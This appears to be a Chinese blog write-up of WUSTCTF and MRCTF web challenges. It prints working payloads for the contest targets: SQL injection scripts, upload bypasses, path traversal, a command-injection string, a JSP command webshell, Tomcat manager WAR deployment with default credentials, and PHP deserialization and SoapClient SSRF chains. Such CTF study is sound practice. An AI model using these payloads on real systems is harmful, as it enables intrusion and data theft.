这周末顺手打了下两个新生赛+国际赛volgaCTF。国际赛难度太高了就知道一个ghostcat。这边两个新生赛本来不想写wp的,但是想到上周BJD比赛的wp也咕了就想着还是补着吧。(上周BJD不写是因为对比赛题目有意见,说是新生赛,脑洞跟套娃题把一堆老手都整得不舒服。当时差一道ASP.NET,因为ysoserial的gadget用的不对就一直出不了结果,直接心态搞崩)所以这次把这两个新生赛题目写写。具体只大致讲下思路吧
WUSTCTF
很有意思,题目里php难度都比较基础。意外的是有java题。java难度就不一样了,估计是java接触的少的原因吧。有道1解题太难了,赛后学下思路。
checkin
进去一个前端验证。限制按钮跟长度。前端把按钮解决后抓个包传出题人名字就好,得到出题人blog
(老实说恶意引流不好吧......)
可以在博客前端看到部分flag,但是只有一半,后一半通过博客链接到github去,可以找到后半部分
admin
开始随手一个万能密码admin' or 1=1#
就进去了。
/adddddddddddddddddddddddminnnnnnnnnnnnnnnnnnnnnn.php
然后就是改header以及get,post值即可
得到paste.ubuntu分段给出的网页链接,找到正确的即可得到编码后的flag。解码即可
CV Maker
基础上传,登录注册后先上传一个php,报的是exif_imagetype()检查。那就只要文件头解决就好了,传一个马
,前面加上GIF89A即可。
(这里还有uploads的目录遍历,随便一个都是现成的参考案例)
蚁剑连接后根目录/readflag
即可。
easyweb
这题是道java题。我用非预期做出来的。毕竟自己java知识有限......
首先进去又是个上传,传一个文件上去看到爆出一个download路由与file参数
那就有任意文件下载
java题必读的几个配置文件,首先就是WEB-INF下的web.xml
<context-param>
<param-name>webAppRootKey</param-name>
<param-value>tomcat.ajp</param-value>
</context-param>
<listener>
<listener-class>
org.springframework.web.util.WebAppRootListener
</listener-class>
</listener>
<welcome-file-list>
<welcome-file>/WEB-INF/views/index.jsp</welcome-file>
</welcome-file-list>
<error-page>
<exception-type>java.lang.Throwable</exception-type>
<location>/error</location>
</error-page>
</web-app>
只有一个index.jsp,同样下载后发现没什么内容。
这时开始尝试读取其他文件,构造后发现可以读取到/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
messagebus:x:101:102::/var/run/dbus:/bin/false
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
systemd-timesync:x:103:104:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:104:105:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:105:106:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:106:107:systemd Bus Proxy,,,:/run/systemd:/bin/false
tomajp:x:1000:1000::/home/tomajp:/bin/bash
有意思的是,我们题目起的tomajp用户的家目录是 bin/bash.这点让我想起了之前做网鼎杯Comment这道题的一个收获:
二次注入,数据库却没有flag,通过读取.bash_history发现了其他文件夹中未删除的flag从而读取。
那么本题尝试读取/home/tomajp/.bash_history
发现有蹊跷,拖到下面有发现
根据这里记录的操作可以看到,flag应该是在根目录的flaaaag文件夹下的what_you_want
直接读取即可
/download?file=../../../../../../../../../flaaaag/what_you_want
问了下官方,的确是个比较简单的非预期,预期解是上传jsp进行RCE.但是我一直没弄明白tomcat里上传目录要怎么访问,这个可能是吃了不熟悉javaweb
的锅。不说了,之前说好要学javaweb也得提上日程了。
ps:赛后了解到是ghostcat打。这个就很有趣了,因为同期的另一个国际赛有题也是这个幽灵猫。找时间等buu上靶机了复现下这个洞。
不用等了,复现完了。具体参考国际赛的复现https://www.jianshu.com/p/c99cde184542
朴实无华
先放一个没拿到一血的原因
大小为0的flag
手慢一步加上出题人权限没控好,直接flag被删了。导致我多花了半个小时,找出题人沟通后好了。不过说到底慢一步flag被删还是因为只有二血的手速......
首先是信息收集,这里奇怪的一点是/.git/
目录直接暴露在外了,但是仔细观察下发现只是个lamp的git.不知道是不是为了混淆视听故意放的。反正我是githack用了几次才察觉不对劲的。
个人信息收集一直是手测,测了好多源码泄露没反应后注意到index.php网页的标题为bot。于是考虑robots.txt,发现了fAke_f1agggg.php
访问后当然没有真flag,但是header里有fl4g.php
,得到题目源码
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
老套娃了。
第一层一个intval的问题。
这里使用的是一个进制的技巧,比如2020的16进制7e4
intval会将字符串7e4认作7,而intval("7e4"+1)则被类型转换,变为70001
第二层弱类型比较的问题
$md5==md5($md5)
原来校赛总结时就强调过,网上一直以来的说法很不准确。并非是0e开头才会弱类型比较被判作0.而是因为0e开头且纯数字然后才能被转为0绕过弱类型检查。
https://www.jianshu.com/p/52f04f85824e
故我们需要0e开头纯数字的数,使得其MD5值0e开头且纯数字。
因此这个一定是要脚本跑的,所以我选择放弃hhh。找队友要了以前讲过这个trick的文章,得到了这个神奇数字0e215962017
脚本跑还是算了吧,附上日本dalao的脚本https://graneed.hatenablog.com/entry/2019/03/11/122020
# -*- coding: utf-8 -*-
import hashlib
import string
import re
def generateMD5():
pattern = "^0+e[0-9]+$"
i = 0
while True:
if i % 1000000 == 0:
print("i:" + str(i))
s = '0e' + str(i)
md5 = hashlib.md5(s.encode("utf-8")).hexdigest()
m = re.search(pattern, md5)
if m:
print("source:", s)
print("md5 :", md5)
return s
i = i + 1
if __name__ == "__main__":
generateMD5()
第三层基础至极。ca\t
可以绕过关键字,${IFS}
替代空格,读flag可以直接用fll*
,或者直接cat `ls`
即可。
主要还是被人搅屎导致多试了好久,还顺便打算弹shell。结果试了5种方法都没成,真的气人
payload
?num=7e4&md5=0e215962017&get_flag=ca\t${IFS}`ls`
颜值成绩查询
裸的数值布尔盲注,直接上if分流就完事。
好像过滤了空格,那就括号多套一下。
因为打错了参数stunum
,导致慢几步只拿到三血。...以后一定直接复制粘贴url。吃大亏。
import requests
import urllib.parse
url='http://101.200.53.102:10114/index.php?stunum='
flag=''
for i in range(1,50):
print(i)
for str1 in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_,!@#$%^&*``.{}-":
payload = "if(ascii(substr((select(group_concat(value))from(flag)),"+str(i)+",1))=" + str(ord(str1)) + ",1,2)"
payload = urllib.parse.quote(payload)
r = requests.get(url + payload)
if 'admin' in r.text:
flag+=str1
print(flag)
break
有道1解题貌似很顶就没有看。
Train Yourself To Be Godly
到buu上复现了。仔细做会发现还是细节上问题比较多。
首先是分析。因为题目显示的页面是tomcat默认的/examples
路由。那么说明是用examples做的根目录
https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
然后是这个文档。
可以构造路径穿越,来到其他路径下。比如此处为了getshell,进入/manager
构造/..;/manager
之后一个tomcat:tomcat的弱口令。
具体getshell流程可以参考vulhub上tomcat/tomcat8的漏洞Tomcat7+ 弱口令 && 后台getshell漏洞。https://github.com/vulhub/vulhub/blob/master/tomcat/tomcat8我也简单复现了下,可以去我的vulhub复现文章那看。
先给出webshell.jsp与webshell.war的生成方法
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
带回显与密码的jsp,比较好用。
然后命令行可以生成war
jar cvf webshell.war webshell.jsp
貌似直接压缩jsp成zip然后改后缀为war也可以。
进入后自然是上传war包了。但是很快发现点击上传后返回404。而它的路径给的是
/examples/..;/manager/html/upload?org.apache.catalina.filters.CSRF_NONCE=A226F07F06C2C983EE2911A5963BFA84
看来是又从根目录开始加载路径了,这个用同样的方法,将路径改成
/..;/manager/html/upload......
即可
不过很快会发现401。未授权访问。如果熟悉tomcat的很快能反应过来是少了header里的认证,当然在成功访问后台时抓包也能看到自己的header中有认证头。
Authorization: Basic dG9tY2F0OnRvbWNhdA==
后面就是tomcat:tomcat的base64编码。这里显然因为我们是通过构造路径穿越的问题,没有在upload时自动带上。
那么继续上传,发现403.只能是cookie的问题了。回头去看访问/..;/manager/html
时就存在set-cookie的返回。那么只能是缺cookie了。
具体做法:重新访问一遍/..;/manager/html
从返回头取一个cookie.然后上传时抓包拦截,把认证跟cookie以及访问地址全部改好,直到200为止。
然后就可以访问webshell进行命令执行了。这里flag比赛是在根目录的文章中,buu是在根目录.
/..;/webshell/exp.jsp?pwd=023&i=cat%20/flagggg
MRCTF
天璇的比赛相对WUST就难一点,然而还是一堆套娃。心里苦。套娃题多真的是CTF比赛怪现状了,脱离了CTF的本质...反正我立flag,以后绝对不出套娃题。
ezbypass
老套娃了。方法都老套了。
第一步一个MD5碰撞,网上一堆现成的。
第二步一个isnumeric(),只需要在数字后随便加个符号就可以绕过
你传你🐎呢
文件上传基本套路,试了下发现php可解析的几个后缀都没了。那试试.htaccess
发现可以。那就没事了,绕文件检查上传jpg图片马
addtype application/x-httpd-php .jpg
PYwebsite
我承认这题是我自己菜了。
开始前端一个验证MD5,但是是个js。我还跑去搜js的MD5弱类型,发现好像就没有这个trick啊...
后来才注意flag.php说他记录了所有购买者ip
X-Forwarded-For:127.0.0.1
即可
反思下,题目大都是html.可利用的只有flag.php,那就从他下手。且基本是header作文章。
套娃
老套娃了。
先是要绕第一层,但是怎么看着就像我们nctf的题呢?
<?php
$query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo
使用b.u.p.t
替代,以及在23333后加上%0a绕过preg_match()
第二层
首先一堆jsfuck,扔Chrome控制台得到一个提示post Merak,传个值得到源码
<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
接着老套娃了。
首先是getIp()
函数,去官网查了下,是header可控。那就header设置为Client-IP:127.0.0.1
然后为了file_get_contents($_GET['2333']) === 'todat is a happy day'
这步老方法使用data协议
data://text/plain,todat is a happy day
最后一个file先用上面给的函数改改编码下即可。
Ezpop
pop链构造,实话说才三个类的pop很基础,不过我开始觉得这个起点贼诡异。
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
目标自然是include flag.php了。不过最好直接伪协议读。
首先要触发__toString
那就先来个echo。也就是说还得再来个Show类对象置为它的source属性,echo时触发.Show类带Show类,讲究。
之后$this->str->source
明显可以触发Test的__get()
,然后返回值是函数,那就可以触发Modifer的__invoke()
了。
很简单的链子,就是第一步自己开始犯傻以为__toString()触发是echo时自动就有的,想了半天确认应该还是得对象echo才会触发。这点不能混淆。
poc:
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$a=new Show();
$b=new Show();
$a->source=$b;
$b->str=new Test();
$b->str->p=new Modifier();
echo(urlencode(serialize($a)));
Ezaudit
提示audit那就看看源码泄露。发现www.zip,结果上来就只有一个index.php,还以为有很多源码
<?php
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$Private_key = $_POST['Private_key'];
if (($username == '') || ($password == '') ||($Private_key == '')) {
// 若为空,视为未填写,提示错误,并3秒后返回登录界面
header('refresh:2; url=login.html');
echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else if($Private_key != '*************' )
{
header('refresh:2; url=login.html');
echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else{
if($Private_key === '************'){
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$result = mysql_query($getuser);
while($row=mysql_fetch_assoc($result)){
echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
}
}
}
}
// genarate public_key
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}
//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$Public_key = public_key();
//$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???
只要绕过一个私钥即可sql注入。
那么注意到公,私钥是通过mt_rand()生成的,那就好说。直接./mt_rand 走起
先将公钥转为脚本可识别的数据
str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
str2='KVQP0LdJKRaV3n9D'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print(res)
然后爆破出种子后设定好随机数种子,按先公钥,再私钥的顺序生成。得到私钥XuNhoueCDCGc
直接sql注入即可
import requests
url='http://aa90a604-c5bb-44d9-8589-b9614155f505.merak-ctf.site/login.php'
flag=''
for i in range(1,50):
print(i)
for str1 in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_,!@#$%^&*``.{}-":
payload = "1' or if(ascii(substr(flag,"+str(i)+",1))="+str(ord(str1))+",sleep(3),1)#"
data = {
'username': 'admin',
'password': payload,
'Private_key': 'XuNhoueCDCGc',
'login': '1'
}
try:
r = requests.post(url, data=data,timeout=3)
except requests.exceptions.ReadTimeout:
flag += str1
print(flag)
break
打开kali+爆破种子花了10多分钟,前几血又没了。心里苦。
事后仔细一看sql语句已经写好了,所以只要万能密码就行了。难怪手速慢,该打。
Ezpop_revenge
打算写wp就是为了这题。质量绝对够。
开始下载www.zip的源码,然后发现是typeEcho的模板,之前没审过这个模板相关的pop链,上去找了下还挺有意思。
跟zjy师傅审出了入口+利用点就懒得写poc了。不过还是得动手做做才行。(毕竟实际写起来多半直接拉胯)
首先是终结点
<?php
if(!isset($_SESSION)) session_start();
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
$_SESSION['flag']= "MRCTF{******}";
}else echo "我扌your problem?\n
only localhost can get flag!";
?>
显然是要ssrf。而且这里让我莫名想到了之前LCTF的bestphp'srevenge.就是通过Soap打ssrf的一个trick.
然后找入口了。
这里难受的是phpstorm全局搜索找不到unserialize。还是zjy师傅帮我找到的.原来是插件里面手写的一个类
主体函数大概这么多
class HelloWorld_DB{
private $flag="MRCTF{this_is_a_fake_flag}";
private $coincidence;
function __wakeup(){
$db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
}
}
public function action(){
if(!isset($_SESSION)) session_start();
if(isset($_REQUEST['admin'])) var_dump($_SESSION);
if (isset($_POST['C0incid3nc3'])) {
if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
unserialize(base64_decode($_POST['C0incid3nc3']));
else {
echo "Not that easy.";
}
}
}
注意到wakeup后自然明白反序列化的触发方式了.同时按照LCTF的经验,这里大概率是一个一个双参数函数,即call_user_func
+Soap打ssrf。
跟一下Typecho_Db类
果不其然有个call_user_func
。而且参数都可控,链子结束。所以其实就是个原题魔改了下。当时看到这就没做了。
然而事情没这么简单。后来发现一个问题。那就是LCTF可以利用session处理器将Soap的序列化数据写到session里,然后calluserfunc,array($_session,‘welcome_to_the_lctf2018’)
触发。这里却不行。那就需要把链子再多挖一下.
注意到之前的结尾提示我们__toString()
。全局搜索下toString,跟到\var\Typecho\Db\Query.php下。
注意到这里,
$this->_sqlPreBuild['action']
时执行了_adapter
的parseSelect()
方法。应该可以满足我们触发Soap的条件,即调用不存在方法。梳理完重点后开始构造了。
$db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
=>call_user_func(array($adapterName, 'isAvailable'))
=> __toString()//Typecho_Db_Query
=> $this->_adapter->parseSelect($this->_sqlPreBuild)
只用到两个类,pop链不长(hhh)
poc
class Typecho_Db_Query{
private $_adapter;
private $_sqlPreBuild;
function __construct(){
$target = "http://127.0.0.1/flag.php";
$headers = array(
'X-Forwarded-For:127.0.0.1',
"Cookie: PHPSESSID=b92shmac496iqkek97vkuetnn0"
);
$this->_adapter = new SoapClient(null, array('uri' => 'abc', 'location' => $target, 'user_agent' => 'byc404^^' . join('^^', $headers)));
$this->_sqlPreBuild = ['action' => "SELECT"];
}
}
class HelloWorld_DB
{
private $coincidence;
public function __construct()
{
$this->coincidence = array("hello" => new Typecho_Db_Query());
}
}
$poc = serialize(new HelloWorld_DB());
$poc = preg_replace(" /\^\^/", "\r\n", $poc);
echo base64_encode($poc);
然后触发的地方没找到......原来在/var/Typeecho/Plugin.php里
public static function activate($pluginName)
{
self::$_plugins['activated'][$pluginName] = self::$_tmp;
self::$_tmp = array();
Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');
}
那么就尝试提交poc。
post: C0incid3nc3=TzoxMzoiSGVsbG9Xb3JsZF9EQiI6MTp7czoyNjoiAEhlbGxvV29ybGRfREIAY29pbmNpZGVuY2UiO2E6MTp7czo1OiJoZWxsbyI7TzoxNjoiVHlwZWNob19EYl9RdWVyeSI6Mjp7czoyNjoiAFR5cGVjaG9fRGJfUXVlcnkAX2FkYXB0ZXIiO086MTA6IlNvYXBDbGllbnQiOjU6e3M6MzoidXJpIjtzOjM6ImFiYyI7czo4OiJsb2NhdGlvbiI7czoyNToiaHR0cDovLzEyNy4wLjAuMS9mbGFnLnBocCI7czoxNToiX3N0cmVhbV9jb250ZXh0IjtpOjA7czoxMToiX3VzZXJfYWdlbnQiO3M6Nzk6ImJ5YzQwNA0KWC1Gb3J3YXJkZWQtRm9yOjEyNy4wLjAuMQ0KQ29va2llOiBQSFBTRVNTSUQ9bW9pODU2cXVxcHU2bXV2bWhnYTdrbzdwNTMiO3M6MTM6Il9zb2FwX3ZlcnNpb24iO2k6MTt9czozMDoiAFR5cGVjaG9fRGJfUXVlcnkAX3NxbFByZUJ1aWxkIjthOjE6e3M6NjoiYWN0aW9uIjtzOjY6IlNFTEVDVCI7fX19fQ==
然后?admin=1
访问即可。
然后应该是跟LCTF一样,最好payload跟检查flag的PHPSESSID不要用同一个。我看Nepnep师傅们的wp里说直接生成的payload过不去。我反正??????人家特意设定的base64encode根本不存在private特殊字符过不去的问题啊。直接打应该没啥问题。
大概这么多,题目毕竟新手题。收获谈不上,没掉链子就算满意了。最后一题也提醒了自己拒绝想当然,链子没写出来就不能空想,实在的poc才是王道。过几天把幽灵猫的总结下,毕竟国际赛上也遇到了。
网友评论